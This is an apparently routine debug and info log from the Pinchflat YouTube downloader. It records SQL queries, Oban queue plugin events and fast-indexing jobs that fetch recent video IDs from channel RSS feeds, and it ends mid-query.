[debug] QUERY OK source="media_items" db=0.2ms idle=28.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 00:10:39.469 [debug] QUERY OK source="tasks" db=0.0ms idle=28.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [472, 2, ~U[2026-07-24 00:10:39Z], ~U[2026-07-24 00:10:39Z]] 00:10:39.469 [info] {"args":{"id":2},"id":468,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":29475,"event":"job:stop","queue_time":473936,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:10:54.985 [info] {"source":"oban","duration":565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:00.740 [info] {"source":"oban","duration":416,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:11:24.988 [info] {"source":"oban","duration":486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:54.989 [info] {"source":"oban","duration":433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:00.742 [info] {"source":"oban","duration":359,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:12:24.990 [info] {"source":"oban","duration":452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:54.991 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:00.743 [info] {"source":"oban","duration":148,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:13:24.992 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:54.993 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:00.744 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:14:24.994 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:54.730 [info] {"args":{"id":3},"id":470,"meta":{},"system_time":1784852094730171012,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:14:54.730 [debug] QUERY OK source="sources" db=0.0ms idle=729.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 00:14:54.730 [debug] QUERY OK source="settings" db=0.0ms idle=729.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:14:54.730 [debug] QUERY OK source="media_profiles" db=0.0ms idle=729.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:14:54.730 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:14:54.730 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 00:14:54.979 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 00:14:54.979 [debug] QUERY OK source="media_items" db=0.3ms idle=249.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 00:14:54.981 [debug] QUERY OK source="media_items" db=1.7ms idle=249.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 00:14:54.982 [debug] QUERY OK source="tasks" db=0.0ms idle=251.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [473, 3, ~U[2026-07-24 00:14:54Z], ~U[2026-07-24 00:14:54Z]] 00:14:54.982 [info] {"args":{"id":3},"id":470,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":252623,"event":"job:stop","queue_time":332386,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:14:54.996 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:00.744 [info] {"source":"oban","duration":103,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:15:24.997 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:54.998 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:00.745 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:16:24.999 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:55.000 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:00.747 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:17:25.001 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:55.002 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:00.748 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:18:25.003 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:55.004 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:00.749 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:19:25.005 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:55.006 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:00.750 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:20:25.007 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:39.123 [info] {"args":{"id":1},"id":471,"meta":{},"system_time":1784852439123219881,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:20:39.123 [debug] QUERY OK source="sources" db=0.0ms idle=122.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 00:20:39.123 [debug] QUERY OK source="settings" db=0.0ms idle=122.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:20:39.123 [debug] QUERY OK source="media_profiles" db=0.0ms idle=122.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:20:39.123 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:20:39.123 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 00:20:39.949 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 00:20:39.949 [debug] QUERY OK source="media_items" db=0.2ms idle=826.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 00:20:39.951 [debug] QUERY OK source="media_items" db=1.8ms idle=826.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 00:20:39.952 [debug] QUERY OK source="tasks" db=0.0ms idle=828.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [474, 1, ~U[2026-07-24 00:20:39Z], ~U[2026-07-24 00:20:39Z]] 00:20:39.952 [info] {"args":{"id":1},"id":471,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":829279,"event":"job:stop","queue_time":553549,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:20:40.124 [info] {"args":{"id":2},"id":472,"meta":{},"system_time":1784852440124175868,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:20:40.124 [debug] QUERY OK source="sources" db=0.0ms idle=171.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 00:20:40.124 [debug] QUERY OK source="settings" db=0.0ms idle=171.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:20:40.124 [debug] QUERY OK source="media_profiles" db=0.0ms idle=165.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:20:40.124 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:20:40.124 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 00:20:40.285 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 00:20:40.286 [debug] QUERY OK source="media_items" db=0.2ms idle=161.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 00:20:40.286 [debug] QUERY OK source="media_items" db=0.2ms idle=162.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 00:20:40.287 [debug] QUERY OK source="tasks" db=0.0ms idle=162.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [475, 2, ~U[2026-07-24 00:20:40Z], ~U[2026-07-24 00:20:40Z]] 00:20:40.287 [info] {"args":{"id":2},"id":472,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":163263,"event":"job:stop","queue_time":654539,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:20:55.008 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:00.751 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:21:25.009 [info] {"source":"oban","duration":482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:55.010 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:00.752 [info] {"source":"oban","duration":262,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:22:25.011 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:55.012 [info] {"source":"oban","duration":475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:00.753 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:23:25.013 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:55.014 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:00.754 [info] {"source":"oban","duration":258,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:24:25.015 [info] {"source":"oban","duration":461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:55.016 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:55.393 [info] {"args":{"id":3},"id":473,"meta":{},"system_time":1784852695393230182,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:24:55.393 [debug] QUERY OK source="sources" db=0.0ms idle=392.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 00:24:55.393 [debug] QUERY OK source="settings" db=0.0ms idle=392.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:24:55.393 [debug] QUERY OK source="media_profiles" db=0.0ms idle=377.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:24:55.393 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:24:55.393 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 00:24:55.979 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 00:24:55.980 [debug] QUERY OK source="media_items" db=0.2ms idle=586.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", 